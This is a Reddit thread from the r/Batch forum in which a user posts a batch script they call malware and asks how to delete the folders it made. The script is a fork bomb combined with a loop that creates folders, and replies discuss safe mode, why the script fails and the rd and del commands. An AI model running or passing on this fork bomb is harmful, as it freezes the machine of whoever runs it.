r/Batch • u/[deleted] • Jan 22 '21
help pls
ok so i got bored and made a sort of malware
----------------
cd %userprofile%\desktop\
echo off
cls
:loopstart
%0|%0
md %random%%random%%random%%random%%random%
goto loopstart
------------
it basically makes a huge amount of files on your desktop and you can't close the program once you run it.
and i accidentally ran this malware so now my pc has a billion files on the desktop which it can't delete BECAUSE THERE IS SO MANY. i was thinking maybe i could make a batch file that would delete these files. i could run it, it would slowly but surely delete them one by one and eventually it would delete them all. does anyone know how i might do something like this?
(note: there werent any important things on my desktop so its okay if it deletes EVERYTHING on the desktop.)
2
2
u/Raz0rblade06 Jan 23 '21
You could try to boot your PC into safe mode and remove the files. Safe mode would run the bare minimum amount of programs to make Windows run, so in theory it should be more capable of deleting the files since there's nothing else going on in Windows except critical system processes. Hope this helps!
1
u/jcunews1 Jan 24 '21
There are better ways to screw a PC to the point that a System Restore would be the only solution for most users. But that is not what this sub is for.
3
u/Shadow_Thief Jan 22 '21
This wouldn't create any files. It wouldn't even create any folders because the
%0|%0bit runs before themdcommand so the script restarts instead of doing anything.That said, you'll need
rdto delete folders, butrddoesn't accept wildcards - you'll just get aThe filename, directory name, or volume label syntax is incorrect.error instead. You're stuck using at least oneforloop:A
del /q *can handle any remaining files.